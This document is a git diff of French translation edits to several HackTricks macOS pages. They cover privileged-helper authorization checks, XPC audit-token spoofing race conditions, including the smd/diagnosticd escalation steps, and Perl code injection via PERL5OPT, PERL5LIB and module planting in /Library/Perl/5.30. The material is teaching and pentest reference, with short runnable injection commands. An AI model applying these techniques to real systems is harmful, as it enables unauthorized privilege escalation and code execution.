<table><thead><tr><th width="284.3333333333333">Nom</th><th width="165">Valeur</th><th>Description</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Quiconque</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Personne</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>L'utilisateur actuel doit être un administrateur (dans le groupe admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Demander à l'utilisateur de s'authentifier.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Demander à l'utilisateur de s'authentifier. Il doit être un administrateur (dans le groupe admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Spécifier des règles</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Spécifier des commentaires supplémentaires sur le droit</td></tr></tbody></table>
|
||||||
|
|
||||||
|
@ -240,9 +240,9 @@ assert(junk == errAuthorizationSuccess);
|
||||||
return error;
|
return error;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Notez que pour vérifier les exigences pour obtenir le droit d'appeler cette méthode, la fonction `authorizationRightForCommand` vérifiera simplement l'objet précédemment commenté `commandInfo`. Ensuite, elle appellera `AuthorizationCopyRights` pour vérifier si elle a le droit d'appeler la fonction (notez que les indicateurs permettent l'interaction avec l'utilisateur).
|
Notez que pour **vérifier les exigences pour obtenir le droit** d'appeler cette méthode, la fonction `authorizationRightForCommand` va simplement vérifier l'objet de commentaire précédemment mentionné **`commandInfo`**. Ensuite, elle appellera **`AuthorizationCopyRights`** pour vérifier **si elle a le droit** d'appeler la fonction (notez que les indicateurs permettent l'interaction avec l'utilisateur).
|
||||||
|
|
||||||
Dans ce cas, pour appeler la fonction `readLicenseKeyAuthorization`, `kCommandKeyAuthRightDefault` est défini sur `@kAuthorizationRuleClassAllow`. Ainsi, n'importe qui peut l'appeler.
|
Dans ce cas, pour appeler la fonction `readLicenseKeyAuthorization`, le `kCommandKeyAuthRightDefault` est défini sur `@kAuthorizationRuleClassAllow`. Ainsi, **n'importe qui peut l'appeler**.
|
||||||
|
|
||||||
### Informations sur la base de données
|
### Informations sur la base de données
|
||||||
|
|
||||||
|
@ -291,7 +291,7 @@ Si vous trouvez la fonction : **`[HelperTool checkAuthorization:command:]`**, il
|
||||||
|
|
||||||
Ensuite, si cette fonction appelle des fonctions telles que `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, elle utilise [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
Ensuite, si cette fonction appelle des fonctions telles que `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, elle utilise [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||||
|
|
||||||
Vérifiez le **`/var/db/auth.db`** pour voir s'il est possible d'obtenir des autorisations pour appeler une action privilégiée sans interaction utilisateur.
|
Vérifiez le **`/var/db/auth.db`** pour voir s'il est possible d'obtenir des autorisations pour appeler certaines actions privilégiées sans interaction utilisateur.
|
||||||
|
|
||||||
### Communication de protocole
|
### Communication de protocole
|
||||||
|
|
||||||
|
@ -299,7 +299,7 @@ Ensuite, vous devez trouver le schéma de protocole afin de pouvoir établir une
|
||||||
|
|
||||||
La fonction **`shouldAcceptNewConnection`** indique le protocole exporté :
|
La fonction **`shouldAcceptNewConnection`** indique le protocole exporté :
|
||||||
|
|
||||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Dans ce cas, nous avons la même chose que dans EvenBetterAuthorizationSample, [**vérifiez cette ligne**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
Dans ce cas, nous avons la même chose que dans EvenBetterAuthorizationSample, [**vérifiez cette ligne**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||||
|
|
||||||
|
@ -317,13 +317,13 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||||
@end
|
@end
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
Pour finir, nous devons simplement connaître le **nom du service Mach exposé** afin d'établir une communication avec lui. Il existe plusieurs façons de le trouver :
|
Enfin, nous devons simplement connaître le **nom du service Mach exposé** afin d'établir une communication avec lui. Il existe plusieurs façons de le trouver :
|
||||||
|
|
||||||
* Dans le **`[HelperTool init]`** où vous pouvez voir le service Mach utilisé :
|
* Dans le **`[HelperTool init]`** où vous pouvez voir le service Mach utilisé :
|
||||||
|
|
||||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* Dans le fichier launchd plist :
|
* Dans le plist de launchd :
|
||||||
```xml
|
```xml
|
||||||
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||||
|
|
||||||
|
@ -427,13 +427,13 @@ NSLog(@"Finished!");
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
|
|
|
@ -2,13 +2,13 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
@ -25,7 +25,7 @@ Si vous ne savez pas ce que sont les messages Mach, commencez par consulter cett
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Pour l'instant, retenez que ([définition à partir d'ici](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)) :
|
Pour l'instant, retenez que ([définition à partir d'ici](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)) :
|
||||||
Les messages Mach sont envoyés via un _port Mach_, qui est un canal de communication **un récepteur, plusieurs expéditeurs** intégré dans le noyau Mach. **Plusieurs processus peuvent envoyer des messages** à un port Mach, mais à tout moment, **un seul processus peut le lire**. Tout comme les descripteurs de fichiers et les sockets, les ports Mach sont alloués et gérés par le noyau et les processus ne voient qu'un entier, qu'ils peuvent utiliser pour indiquer au noyau lequel de leurs ports Mach ils veulent utiliser.
|
Les messages Mach sont envoyés sur un _port Mach_, qui est un canal de communication à **un seul destinataire, plusieurs expéditeurs** intégré dans le noyau Mach. **Plusieurs processus peuvent envoyer des messages** à un port Mach, mais à tout moment, **un seul processus peut le lire**. Tout comme les descripteurs de fichiers et les sockets, les ports Mach sont alloués et gérés par le noyau et les processus ne voient qu'un entier, qu'ils peuvent utiliser pour indiquer au noyau lequel de leurs ports Mach ils veulent utiliser.
|
||||||
|
|
||||||
## Connexion XPC
|
## Connexion XPC
|
||||||
|
|
||||||
|
@ -39,7 +39,7 @@ Si vous ne savez pas comment une connexion XPC est établie, consultez :
|
||||||
|
|
||||||
Ce qui est intéressant à savoir, c'est que **l'abstraction XPC est une connexion un à un**, mais elle est basée sur une technologie qui **peut avoir plusieurs expéditeurs, donc :**
|
Ce qui est intéressant à savoir, c'est que **l'abstraction XPC est une connexion un à un**, mais elle est basée sur une technologie qui **peut avoir plusieurs expéditeurs, donc :**
|
||||||
|
|
||||||
* Les ports Mach sont un récepteur unique, **plusieurs expéditeurs**.
|
* Les ports Mach sont un destinataire unique, **plusieurs expéditeurs**.
|
||||||
* Le jeton d'audit d'une connexion XPC est le jeton d'audit **copié du message le plus récemment reçu**.
|
* Le jeton d'audit d'une connexion XPC est le jeton d'audit **copié du message le plus récemment reçu**.
|
||||||
* Obtenir le **jeton d'audit** d'une connexion XPC est crucial pour de nombreux **contrôles de sécurité**.
|
* Obtenir le **jeton d'audit** d'une connexion XPC est crucial pour de nombreux **contrôles de sécurité**.
|
||||||
|
|
||||||
|
@ -51,15 +51,15 @@ Bien que la situation précédente semble prometteuse, il existe des scénarios
|
||||||
Deux méthodes différentes par lesquelles cela pourrait être exploité :
|
Deux méthodes différentes par lesquelles cela pourrait être exploité :
|
||||||
|
|
||||||
1. Variante 1 :
|
1. Variante 1 :
|
||||||
* L'**exploit** se connecte au service **A** et au service **B**.
|
* L'**exploit** se **connecte** au service **A** et au service **B**.
|
||||||
* Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service **A** que l'utilisateur ne peut pas.
|
* Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service A que l'utilisateur ne peut pas.
|
||||||
* Le service **A** appelle **`xpc_connection_get_audit_token`** tout en étant _**pas**_ à l'intérieur du **gestionnaire d'événements** pour une connexion dans un **`dispatch_async`**.
|
* Le service **A** appelle **`xpc_connection_get_audit_token`** tout en étant _**pas**_ à l'intérieur du **gestionnaire d'événements** pour une connexion dans un **`dispatch_async`**.
|
||||||
* Ainsi, un **message différent** pourrait **écraser le jeton d'audit** car il est envoyé de manière asynchrone en dehors du gestionnaire d'événements.
|
* Ainsi, un **message différent** pourrait **écraser le jeton d'audit** car il est envoyé de manière asynchrone en dehors du gestionnaire d'événements.
|
||||||
* L'exploit transmet à **service B le droit d'ENVOI à service A**.
|
* L'exploit transmet à **service B le droit d'ENVOI à service A**.
|
||||||
* Ainsi, svc **B** enverra effectivement les **messages** au service **A**.
|
* Ainsi, svc **B** enverra effectivement les **messages** au service **A**.
|
||||||
* L'**exploit** tente d'**appeler** l'**action privilégiée**. Dans un RC, svc **A** **vérifie** l'autorisation de cette **action** tandis que **svc B a écrasé le jeton d'audit** (donnant à l'exploit l'accès pour appeler l'action privilégiée).
|
* L'**exploit** tente d'**appeler** l'**action privilégiée**. Dans un RC, svc **A** **vérifie** l'autorisation de cette **action** tandis que **svc B a écrasé le jeton d'audit** (donnant à l'exploit l'accès pour appeler l'action privilégiée).
|
||||||
2. Variante 2 :
|
2. Variante 2 :
|
||||||
* Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service **A** que l'utilisateur ne peut pas.
|
* Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service A que l'utilisateur ne peut pas.
|
||||||
* L'exploit se connecte avec le **service A** qui **envoie** à l'exploit un **message attendant une réponse** dans un **port de réponse** spécifique.
|
* L'exploit se connecte avec le **service A** qui **envoie** à l'exploit un **message attendant une réponse** dans un **port de réponse** spécifique.
|
||||||
* L'exploit envoie au **service** B un message passant **ce port de réponse**.
|
* L'exploit envoie au **service** B un message passant **ce port de réponse**.
|
||||||
* Lorsque le service **B répond**, il **envoie le message au service A**, **tandis que** l'**exploit** envoie un **message différent au service A** essayant d'**atteindre une fonctionnalité privilégiée** et s'attendant à ce que la réponse de service B écrase le jeton d'audit au moment parfait (Condition de Course).
|
* Lorsque le service **B répond**, il **envoie le message au service A**, **tandis que** l'**exploit** envoie un **message différent au service A** essayant d'**atteindre une fonctionnalité privilégiée** et s'attendant à ce que la réponse de service B écrase le jeton d'audit au moment parfait (Condition de Course).
|
||||||
|
@ -68,7 +68,7 @@ Deux méthodes différentes par lesquelles cela pourrait être exploité :
|
||||||
|
|
||||||
Scénario :
|
Scénario :
|
||||||
|
|
||||||
* Deux services Mach **`A`** et **`B`** auxquels nous pouvons tous deux nous connecter (en fonction du profil de sandbox et des vérifications d'autorisation avant d'accepter la connexion).
|
* Deux services Mach **`A`** et **`B`** auxquels nous pouvons tous deux nous connecter (en fonction du profil de bac à sable et des vérifications d'autorisation avant d'accepter la connexion).
|
||||||
* _**A**_ doit avoir une **vérification d'autorisation** pour une action spécifique que **`B`** peut passer (mais notre application ne peut pas).
|
* _**A**_ doit avoir une **vérification d'autorisation** pour une action spécifique que **`B`** peut passer (mais notre application ne peut pas).
|
||||||
* Par exemple, si B a des **privilèges** ou s'exécute en tant que **root**, il pourrait lui permettre de demander à A d'effectuer une action privilégiée.
|
* Par exemple, si B a des **privilèges** ou s'exécute en tant que **root**, il pourrait lui permettre de demander à A d'effectuer une action privilégiée.
|
||||||
* Pour cette vérification d'autorisation, **`A`** obtient le jeton d'audit de manière asynchrone, par exemple en appelant `xpc_connection_get_audit_token` depuis **`dispatch_async`**.
|
* Pour cette vérification d'autorisation, **`A`** obtient le jeton d'audit de manière asynchrone, par exemple en appelant `xpc_connection_get_audit_token` depuis **`dispatch_async`**.
|
||||||
|
@ -87,11 +87,11 @@ Pour effectuer l'attaque :
|
||||||
2. Former une **connexion secondaire** à `diagnosticd`. Contrairement à la procédure normale, au lieu de créer et d'envoyer deux nouveaux ports Mach, le droit d'envoi du port client est remplacé par une copie du **droit d'envoi** associé à la connexion `smd`.
|
2. Former une **connexion secondaire** à `diagnosticd`. Contrairement à la procédure normale, au lieu de créer et d'envoyer deux nouveaux ports Mach, le droit d'envoi du port client est remplacé par une copie du **droit d'envoi** associé à la connexion `smd`.
|
||||||
3. En conséquence, les messages XPC peuvent être envoyés à `diagnosticd`, mais les réponses de `diagnosticd` sont redirigées vers `smd`. Pour `smd`, il semble que les messages de l'utilisateur et de `diagnosticd` proviennent de la même connexion.
|
3. En conséquence, les messages XPC peuvent être envoyés à `diagnosticd`, mais les réponses de `diagnosticd` sont redirigées vers `smd`. Pour `smd`, il semble que les messages de l'utilisateur et de `diagnosticd` proviennent de la même connexion.
|
||||||
|
|
||||||
![Image illustrant le processus de l'exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
![Image illustrant le processus d'exploitation](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||||
4. La prochaine étape consiste à instruire `diagnosticd` d'initier la surveillance d'un processus choisi (potentiellement celui de l'utilisateur). Simultanément, une vague de messages 1004 de routine est envoyée à `smd`. L'intention ici est d'installer un outil avec des privilèges élevés.
|
4. La prochaine étape consiste à instruire `diagnosticd` d'initier la surveillance d'un processus choisi (potentiellement celui de l'utilisateur). Simultanément, une vague de messages 1004 de routine est envoyée à `smd`. L'intention ici est d'installer un outil avec des privilèges élevés.
|
||||||
5. Cette action déclenche une condition de course au sein de la fonction `handle_bless`. Le timing est crucial : l'appel de fonction `xpc_connection_get_pid` doit renvoyer le PID du processus de l'utilisateur (car l'outil privilégié réside dans le bundle d'application de l'utilisateur). Cependant, la fonction `xpc_connection_get_audit_token`, spécifiquement dans la sous-routine `connection_is_authorized`, doit faire référence au jeton d'audit appartenant à `diagnosticd`.
|
5. Cette action déclenche une condition de concurrence dans la fonction `handle_bless`. Le timing est crucial : l'appel de fonction `xpc_connection_get_pid` doit renvoyer le PID du processus de l'utilisateur (car l'outil privilégié réside dans le bundle d'application de l'utilisateur). Cependant, la fonction `xpc_connection_get_audit_token`, spécifiquement dans la sous-routine `connection_is_authorized`, doit faire référence au jeton d'audit appartenant à `diagnosticd`.
|
||||||
|
|
||||||
## Variante 2 : transfert de réponse
|
## Variante 2 : renvoi de réponse
|
||||||
|
|
||||||
Dans un environnement XPC (Communication inter-processus), bien que les gestionnaires d'événements n'exécutent pas de manière concurrente, le traitement des messages de réponse a un comportement unique. Deux méthodes distinctes existent pour envoyer des messages qui attendent une réponse :
|
Dans un environnement XPC (Communication inter-processus), bien que les gestionnaires d'événements n'exécutent pas de manière concurrente, le traitement des messages de réponse a un comportement unique. Deux méthodes distinctes existent pour envoyer des messages qui attendent une réponse :
|
||||||
|
|
||||||
|
@ -104,7 +104,7 @@ Pour exploiter cette vulnérabilité, la configuration suivante est requise :
|
||||||
|
|
||||||
* Deux services mach, appelés **`A`** et **`B`**, qui peuvent tous deux établir une connexion.
|
* Deux services mach, appelés **`A`** et **`B`**, qui peuvent tous deux établir une connexion.
|
||||||
* Le service **`A`** devrait inclure une vérification d'autorisation pour une action spécifique que seul **`B`** peut effectuer (l'application de l'utilisateur ne peut pas).
|
* Le service **`A`** devrait inclure une vérification d'autorisation pour une action spécifique que seul **`B`** peut effectuer (l'application de l'utilisateur ne peut pas).
|
||||||
* Le service **`A`** devrait envoyer un message qui attend une réponse.
|
* Le service **`A`** devrait envoyer un message qui anticipe une réponse.
|
||||||
* L'utilisateur peut envoyer un message à **`B`** auquel il répondra.
|
* L'utilisateur peut envoyer un message à **`B`** auquel il répondra.
|
||||||
|
|
||||||
Le processus d'exploitation implique les étapes suivantes :
|
Le processus d'exploitation implique les étapes suivantes :
|
||||||
|
@ -117,7 +117,7 @@ Ci-dessous se trouve une représentation visuelle du scénario d'attaque décrit
|
||||||
|
|
||||||
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Problèmes de découverte
|
## Problèmes de découverte
|
||||||
|
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Via la variable d'environnement `PERL5OPT` & `PERL5LIB`
|
## Via la variable d'environnement `PERL5OPT` & `PERL5LIB`
|
||||||
|
|
||||||
En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par perl.\
|
En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par Perl.\
|
||||||
Par exemple, créez ce script :
|
Par exemple, créez ce script :
|
||||||
|
|
||||||
{% code title="test.pl" %}
|
{% code title="test.pl" %}
|
||||||
|
@ -31,7 +31,7 @@ Maintenant **exportez la variable d'environnement** et exécutez le script **per
|
||||||
export PERL5OPT='-Mwarnings;system("whoami")'
|
export PERL5OPT='-Mwarnings;system("whoami")'
|
||||||
perl test.pl # This will execute "whoami"
|
perl test.pl # This will execute "whoami"
|
||||||
```
|
```
|
||||||
Une autre option est de créer un module Perl (par exemple `/tmp/pmod.pm`):
|
Une autre option est de créer un module Perl (par exemple, `/tmp/pmod.pm`):
|
||||||
|
|
||||||
{% code title="/tmp/pmod.pm" %}
|
{% code title="/tmp/pmod.pm" %}
|
||||||
```perl
|
```perl
|
||||||
|
@ -42,7 +42,7 @@ system('whoami');
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Et ensuite utiliser les variables d'environnement :
|
Et ensuite utilisez les variables d'environnement :
|
||||||
```bash
|
```bash
|
||||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||||
```
|
```
|
||||||
|
@ -64,13 +64,13 @@ Ce qui renverra quelque chose comme :
|
||||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||||
/System/Library/Perl/Extras/5.30
|
/System/Library/Perl/Extras/5.30
|
||||||
```
|
```
|
||||||
Certains des dossiers retournés n'existent même pas, cependant, **`/Library/Perl/5.30`** existe, il n'est **pas** protégé par **SIP** et il est **avant** les dossiers **protégés par SIP**. Par conséquent, quelqu'un pourrait abuser de ce dossier pour ajouter des dépendances de script afin qu'un script Perl à haut privilège le charge.
|
Certaines des dossiers retournés n'existent même pas, cependant, **`/Library/Perl/5.30`** **existe**, il n'est **pas** **protégé** par **SIP** et il est **avant** les dossiers **protégés par SIP**. Par conséquent, quelqu'un pourrait abuser de ce dossier pour ajouter des dépendances de script afin qu'un script Perl à haut privilège les charge.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Cependant, notez que vous **devez être root pour écrire dans ce dossier** et de nos jours vous obtiendrez cette **invite TCC** :
|
Cependant, notez que vous **devez être root pour écrire dans ce dossier** et de nos jours vous obtiendrez cette **invite TCC** :
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Par exemple, si un script importe **`use File::Basename;`** il serait possible de créer `/Library/Perl/5.30/File/Basename.pm` pour exécuter du code arbitraire.
|
Par exemple, si un script importe **`use File::Basename;`** il serait possible de créer `/Library/Perl/5.30/File/Basename.pm` pour exécuter du code arbitraire.
|
||||||
|
|
||||||
|
@ -84,7 +84,7 @@ Par exemple, si un script importe **`use File::Basename;`** il serait possible d
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
